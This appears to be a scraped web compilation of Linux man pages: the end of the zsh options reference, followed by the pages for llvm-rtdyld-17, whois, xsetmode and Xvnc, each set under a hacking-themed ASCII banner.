When set, matches performed with the =~ operator will set the BASH_REMATCH array variable, instead of the default MATCH and match variables. The first element of the BASH_REMATCH array will contain the entire matched text and subsequent elements will contain extracted substrings. This option makes more sense when KSH_ARRAYS is also set, so that the entire matched portion is stored at index 0 and the first substring is at index 1. Without this option, the MATCH variable contains the entire matched text and the match array variable contains substrings.

BSD_ECHO <S>
Make the echo builtin compatible with the BSD echo(1) command. This disables backslashed escape sequences in echo strings unless the -e option is specified.

CONTINUE_ON_ERROR
If a fatal error is encountered (see the section ERRORS in zshmisc(1)), and the code is running in a script, the shell will resume execution at the next statement in the script at the top level, in other words outside all functions or shell constructs such as loops and conditions. This mimics the behaviour of interactive shells, where the shell returns to the line editor to read a new command; it was the normal behaviour in versions of zsh before 5.0.1.

CSH_JUNKIE_HISTORY <C>
A history reference without an event specifier will always refer to the previous command. Without this option, such a history reference refers to the same event as the previous history reference on the current command line, defaulting to the previous command.

CSH_JUNKIE_LOOPS <C>
Allow loop bodies to take the form `list**; end**’ instead of `do list**; done**'.

CSH_JUNKIE_QUOTES <C>
Changes the rules for single- and double-quoted text to match that of csh. These require that embedded newlines be preceded by a backslash; unescaped newlines will cause an error message. In double-quoted strings, it is made impossible to escape `$’, ``’ or `"’ (and `****’ itself no longer needs escaping). Command substitutions are only expanded once, and cannot be nested.

CSH_NULLCMD <C>
Do not use the values of NULLCMD and READNULLCMD when running redirections with no command. This make such redirections fail (see the section `Redirection’).

KSH_ARRAYS <K> <S>
Emulate ksh array handling as closely as possible. If this option is set, array elements are numbered from zero, an array parameter without subscript refers to the first element instead of the whole array, and braces are required to delimit a subscript (`${path[2]}’ rather than just `$path[2]’) or to apply modifiers to any parameter (`${PWD:h}’ rather than `$PWD:h’).

KSH_AUTOLOAD <K> <S>
Emulate ksh function autoloading. This means that when a function is autoloaded, the corresponding file is merely executed, and must define the function itself. (By default, the function is defined to the contents of the file. However, the most common ksh-style case - of the file containing only a simple definition of the function - is always handled in the ksh-compatible manner.)

KSH_OPTION_PRINT <K>
Alters the way options settings are printed: instead of separate lists of set and unset options, all options are shown, marked `on’ if they are in the non-default state, `off’ otherwise.

KSH_TYPESET
This option is now obsolete: a better appropximation to the behaviour of other shells is obtained with the reserved word interface to declare, export, float, integer, local, readonly and typeset. Note that the option is only applied when the reserved word interface is not in use.

Alters the way arguments to the typeset family of commands, including declare, export, float, integer, local and readonly, are processed. Without this option, zsh will perform normal word splitting after command and parameter expansion in arguments of an assignment; with it, word splitting does not take place in those cases.

KSH_ZERO_SUBSCRIPT
Treat use of a subscript of value zero in array or string expressions as a reference to the first element, i.e. the element that usually has the subscript 1. Ignored if KSH_ARRAYS is also set.

If neither this option nor KSH_ARRAYS is set, accesses to an element of an array or string with subscript zero return an empty element or string, while attempts to set element zero of an array or string are treated as an error. However, attempts to set an otherwise valid subscript range that includes zero will succeed. For example, if KSH_ZERO_SUBSCRIPT is not set,

array[0]=(element)

is an error, while

array[0,1]=(element)

is not and will replace the first element of the array.

This option is for compatibility with older versions of the shell and is not recommended in new code.

POSIX_ALIASES <K> <S>
When this option is set, reserved words are not candidates for alias expansion: it is still possible to declare any of them as an alias, but the alias will never be expanded. Reserved words are described in the section RESERVED WORDS in zshmisc(1).

Alias expansion takes place while text is being read; hence when this option is set it does not take effect until the end of any function or other piece of shell code parsed as one unit. Note this may cause differences from other shells even when the option is in effect. For example, when running a command with `zsh -c’, or even `zsh -o posixaliases -c’, the entire command argument is parsed as one unit, so aliases defined within the argument are not available even in later lines. If in doubt, avoid use of aliases in non-interactive code.

POSIX_ARGZERO
This option may be used to temporarily disable FUNCTION_ARGZERO and thereby restore the value of $0 to the name used to invoke the shell (or as set by the -c command line option). For compatibility with previous versions of the shell, emulations use NO_FUNCTION_ARGZERO instead of POSIX_ARGZERO, which may result in unexpected scoping of $0 if the emulation mode is changed inside a function or script. To avoid this, explicitly enable POSIX_ARGZERO in the emulate command:

emulate sh -o POSIX_ARGZERO

Note that NO_POSIX_ARGZERO has no effect unless FUNCTION_ARGZERO was already enabled upon entry to the function or script.

POSIX_BUILTINS <K> <S>
When this option is set the command builtin can be used to execute shell builtin commands. Parameter assignments specified before shell functions and special builtins are kept after the command completes unless the special builtin is prefixed with the command builtin. Special builtins are ., :, break, continue, declare, eval, exit, export, integer, local, readonly, return, set, shift, source, times, trap and unset.

In addition, various error conditions associated with the above builtins or exec cause a non-interactive shell to exit and an interactive shell to return to its top-level processing.

Furthermore, functions and shell builtins are not executed after an exec prefix; the command to be executed must be an external command found in the path.

Furthermore, the getopts builtin behaves in a POSIX-compatible fashion in that the associated variable OPTIND is not made local to functions, and its value is calculated differently to match other shells.

Moreover, the warning and special exit code from [[ -o non_existent_option ]] are suppressed.

POSIX_IDENTIFIERS <K> <S>
When this option is set, only the ASCII characters a to z, A to Z, 0 to 9 and _ may be used in identifiers (names of shell parameters and modules).

In addition, setting this option limits the effect of parameter substitution with no braces, so that the expression $# is treated as the parameter $# even if followed by a valid parameter name. When it is unset, zsh allows expressions of the form **$#**name to refer to the length of **$**name, even for special variables, for example in expressions such as $#- and $#*.

Another difference is that with the option set assignment to an unset variable in arithmetic context causes the variable to be created as a scalar rather than a numeric type. So after `unset t; (( t = 3 ))’. without POSIX_IDENTIFIERS set t has integer type, while with it set it has scalar type.

When the option is unset and multibyte character support is enabled (i.e. it is compiled in and the option MULTIBYTE is set), then additionally any alphanumeric characters in the local character set may be used in identifiers. Note that scripts and functions written with this feature are not portable, and also that both options must be set before the script or function is parsed; setting them during execution is not sufficient as the syntax variable**=**value has already been parsed as a command rather than an assignment.

If multibyte character support is not compiled into the shell this option is ignored; all octets with the top bit set may be used in identifiers. This is non-standard but is the traditional zsh behaviour.

POSIX_STRINGS <K> <S>
This option affects processing of quoted strings. Currently it only affects the behaviour of null characters, i.e. character 0 in the portable character set corresponding to US ASCII.

When this option is not set, null characters embedded within strings of the form $’ are treated as ordinary characters. The entire string is maintained within the shell and output to files where necessary, although owing to restrictions of the library interface the string is truncated at the null character in file names, environment variables, or in arguments to external programs.

When this option is set, the $’ expression is truncated at the null character. Note that remaining parts of the same string beyond the termination of the quotes are not truncated.

For example, the command line argument a$‘b�c’d is treated with the option off as the characters a, b, null, c, d, and with the option on as the characters a, b, d.

POSIX_TRAPS <K> <S>
When this option is set, the usual zsh behaviour of executing traps for EXIT on exit from shell functions is suppressed. In that case, manipulating EXIT traps always alters the global trap for exiting the shell; the LOCAL_TRAPS option is ignored for the EXIT trap.

Also, a return statement executed in a trap with no argument passes back from the function the value from the surrounding context, not from code executed within the trap.

Furthermore, if a trap is set to be ignored, this state persists when a subshell is entered. Without the option, the trap would be reset to its default state at this point.

SH_FILE_EXPANSION <K> <S>
Perform filename expansion (e.g., ~ expansion) before parameter expansion, command substitution, arithmetic expansion and brace expansion. If this option is unset, it is performed after brace expansion, so things like `~$USERNAME’ and `~{pfalstad,rc}’ will work.

SH_NULLCMD <K> <S>
Do not use the values of NULLCMD and READNULLCMD when doing redirections, use `:’ instead (see the section `Redirection’).

SH_OPTION_LETTERS <K> <S>
If this option is set the shell tries to interpret single letter options (which are used with set and setopt) like ksh does. This also affects the value of the - special parameter.

SH_WORD_SPLIT (-y) <K> <S>
Causes field splitting to be performed on unquoted parameter expansions. Note that this option has nothing to do with word splitting. (See zshexpn(1).)

TRAPS_ASYNC
While waiting for a program to exit, handle signals and run traps immediately. Otherwise the trap is run after a child process has exited. Note this does not affect the point at which traps are run for any case other than when the shell is waiting for a child process.

Shell State

INTERACTIVE (-i, ksh: -i) This is an interactive shell. This option is set upon initialisation if the standard input is a tty and commands are being read from standard input. (See the discussion of SHIN_STDIN.) This heuristic may be overridden by specifying a state for this option on the command line. The value of this option can only be changed via flags supplied at invocation of the shell. It cannot be changed once zsh is running.

LOGIN (-l, ksh: -l)
This is a login shell. If this option is not explicitly set, the shell becomes a login shell if the first character of the argv[0] passed to the shell is a `-’.

PRIVILEGED (-p, ksh: -p)
Turn on privileged mode. Typically this is used when script is to be run with elevated privileges. This should be done as follows directly with the -p option to zsh so that it takes effect during startup.

#!/bin/zsh -p

The option is enabled automatically on startup if the effective user (group) ID is not equal to the real user (group) ID. In this case, turning the option off causes the effective user and group IDs to be set to the real user and group IDs. Be aware that if that fails the shell may be running with different IDs than was intended so a script should check for failure and act accordingly, for example:

unsetopt privileged || exit

The PRIVILEGED option disables sourcing user startup files. If zsh is invoked as `sh’ or `ksh’ with this option set, /etc/suid_profile is sourced (after /etc/profile on interactive shells). Sourcing ~/.profile is disabled and the contents of the ENV variable is ignored. This option cannot be changed using the -m option of setopt and unsetopt, and changing it inside a function always changes it globally regardless of the LOCAL_OPTIONS option.

RESTRICTED (-r)
Enables restricted mode. This option cannot be changed using unsetopt, and setting it inside a function always changes it globally regardless of the LOCAL_OPTIONS option. See the section `Restricted Shell'.

SHIN_STDIN (-s, ksh: -s)
Commands are being read from the standard input. Commands are read from standard input if no command is specified with -c and no file of commands is specified. If SHIN_STDIN is set explicitly on the command line, any argument that would otherwise have been taken as a file to run will instead be treated as a normal positional parameter. Note that setting or unsetting this option on the command line does not necessarily affect the state the option will have while the shell is running - that is purely an indicator of whether or not commands are actually being read from standard input. The value of this option can only be changed via flags supplied at invocation of the shell. It cannot be changed once zsh is running.

SINGLE_COMMAND (-t, ksh: -t)
If the shell is reading from standard input, it exits after a single command has been executed. This also makes the shell non-interactive, unless the INTERACTIVE option is explicitly set on the command line. The value of this option can only be changed via flags supplied at invocation of the shell. It cannot be changed once zsh is running.

Zle

BEEP (+B) <D> Beep on error in ZLE.

COMBINING_CHARS
Assume that the terminal displays combining characters correctly. Specifically, if a base alphanumeric character is followed by one or more zero-width punctuation characters, assume that the zero-width characters will be displayed as modifications to the base character within the same width. Not all terminals handle this. If this option is not set, zero-width characters are displayed separately with special mark-up.

If this option is set, the pattern test [[:WORD:]] matches a zero-width punctuation character on the assumption that it will be used as part of a word in combination with a word character. Otherwise the base shell does not handle combining characters specially.

EMACS
If ZLE is loaded, turning on this option has the equivalent effect of `bindkey -e’. In addition, the VI option is unset. Turning it off has no effect. The option setting is not guaranteed to reflect the current keymap. This option is provided for compatibility; bindkey is the recommended interface.

OVERSTRIKE
Start up the line editor in overstrike mode.

SINGLE_LINE_ZLE (-M) <K>
Use single-line command line editing instead of multi-line.

Note that although this is on by default in ksh emulation it only provides superficial compatibility with the ksh line editor and reduces the effectiveness of the zsh line editor. As it has no effect on shell syntax, many users may wish to disable this option when using ksh emulation interactively.

VI
If ZLE is loaded, turning on this option has the equivalent effect of `bindkey -v’. In addition, the EMACS option is unset. Turning it off has no effect. The option setting is not guaranteed to reflect the current keymap. This option is provided for compatibility; bindkey is the recommended interface.

ZLE (-Z)
Use the zsh line editor. Set by default in interactive shells connected to a terminal.

OPTION ALIASES

Some options have alternative names. These aliases are never used for output, but can be used just like normal option names when specifying options to the shell.

BRACE_EXPAND *NO_*IGNORE_BRACES (ksh and bash compatibility)

DOT_GLOB
GLOB_DOTS (bash compatibility)

HASH_ALL
HASH_CMDS (bash compatibility)

HIST_APPEND
APPEND_HISTORY (bash compatibility)

HIST_EXPAND
BANG_HIST (bash compatibility)

LOG
*NO_*HIST_NO_FUNCTIONS (ksh compatibility)

MAIL_WARN
MAIL_WARNING (bash compatibility)

ONE_CMD
SINGLE_COMMAND (bash compatibility)

PHYSICAL
CHASE_LINKS (ksh and bash compatibility)

PROMPT_VARS
PROMPT_SUBST (bash compatibility)

STDIN
SHIN_STDIN (ksh compatibility)

TRACK_ALL
HASH_CMDS (ksh compatibility)

SINGLE LETTER OPTIONS

Default set

-0
CORRECT

-1
PRINT_EXIT_VALUE

-2
*NO_*BAD_PATTERN

-3
*NO_*NOMATCH

-4
GLOB_DOTS

-5
NOTIFY

-6
BG_NICE

-7
IGNORE_EOF

-8
MARK_DIRS

-9
AUTO_LIST

-B
*NO_*BEEP

-C
*NO_*CLOBBER

-D
PUSHD_TO_HOME

-E
PUSHD_SILENT

-F
*NO_*GLOB

-G
NULL_GLOB

-H
RM_STAR_SILENT

-I
IGNORE_BRACES

-J
AUTO_CD

-K
*NO_*BANG_HIST

-L
SUN_KEYBOARD_HACK

-M
SINGLE_LINE_ZLE

-N
AUTO_PUSHD

-O
CORRECT_ALL

-P
RC_EXPAND_PARAM

-Q
PATH_DIRS

-R
LONG_LIST_JOBS

-S
REC_EXACT

-T
CDABLE_VARS

-U
MAIL_WARNING

-V
*NO_*PROMPT_CR

-W
AUTO_RESUME

-X
LIST_TYPES

-Y
MENU_COMPLETE

-Z
ZLE

-a
ALL_EXPORT

-e
ERR_EXIT

-f
*NO_*RCS

-g
HIST_IGNORE_SPACE

-h
HIST_IGNORE_DUPS

-i
INTERACTIVE

-k
INTERACTIVE_COMMENTS

-l
LOGIN

-m
MONITOR

-n
*NO_*EXEC

-p
PRIVILEGED

-r
RESTRICTED

-s
SHIN_STDIN

-t
SINGLE_COMMAND

-u
*NO_*UNSET

-v
VERBOSE

-w
CHASE_LINKS

-x
XTRACE

-y
SH_WORD_SPLIT

sh/ksh emulation set

-C
*NO_*CLOBBER

-T
TRAPS_ASYNC

-X
MARK_DIRS

-a
ALL_EXPORT

-b
NOTIFY

-e
ERR_EXIT

-f
*NO_*GLOB

-i
INTERACTIVE

-l
LOGIN

-m
MONITOR

-n
*NO_*EXEC

-p
PRIVILEGED

-r
RESTRICTED

-s
SHIN_STDIN

-t
SINGLE_COMMAND

-u
*NO_*UNSET

-v
VERBOSE

-x
XTRACE

Also note

-A
Used by set for setting arrays

-b
Used on the command line to specify end of option processing

-c
Used on the command line to specify a single command

-m
Used by setopt for pattern-matching option setting

-o
Used in all places to allow use of long option names

-s
Used by set to sort positional parameters

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1460 - Linux cli command llvm-rtdyld-17

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command llvm-rtdyld-17 and provides detailed information about the command llvm-rtdyld-17, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the llvm-rtdyld-17.

NAME 🖥️ llvm-rtdyld-17 🖥️

rtdyld - manual page for llvm-rtdyld 17

DESCRIPTION

OVERVIEW: llvm MC-JIT tool

USAGE: llvm-rtdyld [options] <input files> –args <program arguments>…

OPTIONS:

Color Options:

–color - Use colors in output (default=autodetect)

Generic Options:

–help - Display available options (–help-hidden for more)

–help-list - Display list of available options (–help-list-hidden for more)

–version - Display the version of this program

RTDyld Options:

–args <string>… - <program arguments>…

–check=<string> - File containing RuntimeDyld verifier checks.

–dylib=<string> - Add library.

–entry=<string> - Function to call as entry point.

–mcpu=<cpu-name> - Target a specific cpu type (-mcpu=help for details)

–preallocate=<ulong> - Allocate memory upfront rather than on-demand

Action to perform:

–execute - Load, link, and execute the inputs.

–printline - Load, link, and print line information for each function.

–printdebugline - Load, link, and print line information for each function using the debug object

–printobjline - Like -printlineinfo but does not load the object first

–verify - Load, link and verify the resulting memory image.

–show-times - Show times for llvm-rtdyld phases

–triple=<string> - Target triple for disassembler

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1461 - Linux cli command whois

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command whois and provides detailed information about the command whois, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the whois.

NAME 🖥️ whois 🖥️

client for the whois directory service

SYNOPSIS

whois [ { -h | –host } HOST ] [ { -p | –port } PORT ] [  -abBcdGHIKlLmMrRx ] [  -g* SOURCE:FIRST-LAST* ] [  -i  ATTR[,ATTR]… ] [  -s  SOURCE[,SOURCE]… ] [  -T  TYPE[,TYPE]… ] [ –verbose ] [ –no-recursion ] OBJECT

whois -q KEYWORD

whois -t TYPE

whois -v TYPE

whois –help

whois –version

DESCRIPTION

whois searches for an object in a RFC 3912 database.

This version of the whois client tries to guess the right server to ask for the specified object. If no guess can be made it will connect to whois.networksolutions.com for NIC handles or whois.arin.net for IPv4 addresses and network names.

OPTIONS

-h
HOST, **–host=**HOST Connect to HOST.

-H
Do not display the legal disclaimers that some registries like to show you.

-p
PORT, **–port=**PORT Connect to PORT.

-I
First query whois.iana.org and then follow its referral to the whois server authoritative for that request. This works for IP addresses, AS numbers and domains. BEWARE: this implies that the IANA server will receive your complete query.

–no-recursion
Disable recursion from registry to registrar servers.

–verbose
Be verbose.

–help
Display online help.

–version
Display the program version.

Other options are flags understood by whois.ripe.net and some other RIPE-like servers:

-a
Also search all the mirrored databases.

-b
Return brief IP address ranges with abuse contact.

-B
Disable objects filtering. (Show the e-mail addresses.)

-c
Return the smallest IP address range with a reference to an irt object.

-d
Return the reverse DNS delegation object too.

-g
SOURCE:FIRST-LAST Search updates from SOURCE database between FIRST and LAST update serial number. It is useful to obtain Near Real Time Mirroring stream.

-G
Disable grouping of associated objects.

-i
ATTR[,ATTR]… Inverse-search objects having associated attributes. ATTR is the attribute name, while the positional OBJECT argument is the attribute value.

-K
Return primary key attributes only. An exception is the members attribute of set objects, which is always returned. Another exception are all attributes of the objects organisation, person and role, that are never returned.

-l
Return the one level less specific object.

-L
Return all levels of less specific objects.

-m
Return all one level more specific objects.

-M
Return all levels of more specific objects.

-q
KEYWORD Return information about the server. KEYWORD can be version for the server version, sources for the list of database sources or types for the list of supported object types.

-r
Disable recursive lookups for contact information.

-R
Disable following referrals and force showing the object from the local copy in the server.

-s
SOURCE[,SOURCE]… Request the server to search for objects mirrored from SOURCE. Sources are delimited by comma, and the order is significant. Use the -q sources parameter to obtain a list of valid sources.

-t
TYPE Return the template for a object of TYPE.

-T
TYPE[,TYPE]… Restrict the search to objects of TYPE. Multiple types are separated by a comma.

-v
TYPE Return the verbose template for a object of TYPE.

-x
Search for only exact match on network address prefix.

NOTES

When querying the Verisign gTLDs (e.g. .com, .net…) thin registry servers for a domain, the program will automatically prepend the domain keyword to only show domain records. The nameserver or registrar keywords must be used to show other kinds of records.

When querying whois.arin.net for IPv4 or IPv6 networks, the CIDR netmask length will be automatically removed from the query string.

When querying whois.nic.ad.jp for AS numbers, the program will automatically convert the request in the appropriate format, inserting a space after the string AS.

When querying whois.denic.de for domain names and no other flags have been specified, the program will automatically add the flag -T dn.

When querying whois.dk-hostmaster.dk for domain names and no other flags have been specified, the program will automatically add the flag –show-handles.

RIPE-specific command line options are ignored when querying non-RIPE servers. This may or may not be the behaviour intended by the user. When using non-standard query parameters then the command line options which are not to be interpreted by the client must follow the separator (which marks the beginning of the query string).

If the /etc/whois.conf configuration file exists, it will be consulted to find a server before applying the normal rules. Each line of the file should contain a regular expression to be matched against the query text and the whois server to use, separated by white space. IDN domains must use the ACE format.

The whois protocol does not specify an encoding for characters which cannot be represented by ASCII and implementations vary wildly. If the program knows that a specific server uses a certain encoding, if needed it will transcode the server output to the encoding specified by the current system locale.

Command line arguments will always be interpreted accordingly to the current system locale and converted to the IDN ASCII Compatible Encoding.

FILES

/etc/whois.conf

ENVIRONMENT

LANG
When querying whois.nic.ad.jp and whois.jprs.jp English text is requested unless the LANG or LC_MESSAGES environment variables specify a Japanese locale.

WHOIS_OPTIONS
A list of options which will be evaluated before the ones specified on the command line.

WHOIS_SERVER
This server will be queried if the program cannot guess where some kind of objects are located. If the variable does not exist then whois.arin.net will be queried.

SEE ALSO

whois.conf(5).

RFC 3912: WHOIS Protocol Specification.

RIPE Database Query Reference Manual: <https://www.ripe.net/data-tools/support/documentation/ripe-database-query-reference-manual>

BUGS

The program may have buffer overflows in the command line parser: be sure to not pass untrusted data to it. It should be rewritten to use a dynamic strings library.

HISTORY

This program closely tracks the user interface of the whois client developed at RIPE by Ambrose Magee and others on the base of the original BSD client.

AUTHOR

Whois and this man page were written by Marco d’Itri <[email protected]> and are licensed under the terms of the GNU General Public License, version 2 or later.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1462 - Linux cli command xsetmode

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command xsetmode and provides detailed information about the command xsetmode, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the xsetmode.

NAME 🖥️ xsetmode 🖥️

set the mode for an X Input device

SYNOPSIS

xsetmode device-name ABSOLUTE | RELATIVE

DESCRIPTION

Xsetmode sets the mode of an XInput device to either absolute or relative. This isn’t appropriate for all device types.

AUTHOR

Frederic Lepied

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1463 - Linux cli command Xvnc

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command Xvnc and provides detailed information about the command Xvnc, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the Xvnc.

NAME 🖥️ Xvnc 🖥️

an X server providing VNC connectivity

SYNOPSIS

Xvnc
[:display] [-geometry widthxheight] [-depth depth] [-pixelformat rgbNNN|bgrNNN] [-udpinputport port] [-rfbport port] [-rfbwait time] [-nocursor] [-rfbauth passwd-file] [-httpd dir] [-httpport port] [-deferupdate time] [-economictranslate] [-lazytight] [-desktop name] [-alwaysshared] [-nevershared] [-dontdisconnect] [-viewonly] [-localhost] [-interface ipaddr] [-inetd] [-compatiblekbd] [X-options…]

DESCRIPTION

Xvnc is a VNC (Virtual Network Computing) server. It acts like an X server with a virtual display. The display can be seen by a VNC viewer application, which may be running on a different machine: see vncviewer(1). Xvnc is built inside the source code tree of XFree86, and shares many options with it.

Normally, you don’t need to start Xvnc manually; use the vncserver(1) wrapper script instead. This script sets reasonable defaults for Xvnc session, checks many error conditions etc.

Please read the BUGS section if you plan to use VNC on an untrusted network.

OPTIONS

Xvnc supports many standard X server options and a number of VNC-specific options. To see what standard X server options are supported, please look at the Xvnc -help output and read the Xserver(1) manual page for details on those options.

The VNC-specific options are as follows:

-geometry widthxheight
Set desktop width and height.

-depth depth
Set the colour depth of the visual to provide, in bits per pixel. Must be a value between 8 and 32.

-pixelformat rgbNNN|bgrNNN
Set colour format for pixels representation. The viewer can do the conversion to any other pixel format, but it is faster if the depth and pixel format of the server is the same as the equivalent values on the viewer display.

-udpinputport port
UDP port for keyboard/pointer data.

-rfbport port
TCP port for RFB protocol. The RFB protocol is used for communication between VNC server and clients.

-rfbwait time
Maximum time, in milliseconds, to wait for an RFB client (VNC viewer).

-nocursor
Don’t put up a pointer cursor on the desktop.

-rfbauth passwd-file
Use authentication on RFB protocol from the specified file. The passwd-file can be created using the vncpasswd(1) utility.

-httpd dir
Serve files via HTTP protocol from the specified directory. Normally, Java viewer classes are stored in such directory.

-httpport port
TCP port on which Xvnc should listen for incoming HTTP connections (to allow access to the desktop from any Java-capable browser).

-deferupdate time
Time in milliseconds, to defer screen updates (default 40). Deferring updates helps to coalesce many small desktop changes into a few larger updates thus saving network bandwidth.

-economictranslate
Use less memory-hungry pixel format translation.

-lazytight
Disable the “gradient” filter in Tight encoding (TightVNC-specific). The “gradient” filter often helps to improve data compression ratios, but may slow down the server performance. Please note that this filter is never used when a client enables JPEG compression in the Tight encoding.

-desktop name
Set VNC desktop name (“x11” by default).

-alwaysshared
Always treat new clients as shared, never disconnect existing client on a new client connection.

-nevershared
Never treat new clients as shared, do not allow several simultaneous client connections.

-dontdisconnect
Don’t disconnect existing clients when a new non-shared connection comes in, refuse new connection instead.

-viewonly
Don’t accept keboard and pointer events from clients. All clients will be able to see the desktop but won’t be able to control it.

-localhost
Only allow loopback connections from localhost. This option is useful in conjunction with SSH tunneling.

-interface ipaddr
Listen for client connections only on the network interface with given ipaddr.

-inetd
Xvnc is launched by inetd. This option causes Xvnc to redirect network input/output to stdin/stdout.

-compatiblekbd
Set META and ALT keys to the same X modifier flag, as in the original version of Xvnc by AT&T labs (TightVNC-specific).

BUGS

There are many security problems in current Xvnc implementation. It’s recommended to restrict network access to Xvnc servers from untrusted network addresses. Probably, the best way to secure Xvnc server is to allow only loopback connections from the server machine (the -localhost option) and to use SSH tunneling for remote access to the Xvnc server. For details on SSH tunneling, see <URL:http://www.cl.cam.ac.uk/Research/DTG/attarchive/vnc/sshvnc.html> .

SEE ALSO

vncserver(1), vncviewer(1), vncpasswd(1), vncconnect(1), sshd(1)

AUTHORS

Original VNC was developed in AT&T Laboratories Cambridge. TightVNC additions were implemented by Constantin Kaplinsky. Many other people participated in development, testing and support.

Man page authors:
Marcus Brinkmann <[email protected]>,
Tim Waugh <[email protected]>,
Constantin Kaplinsky <[email protected]>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1464 - Linux cli command llvm-libtool-darwin-17

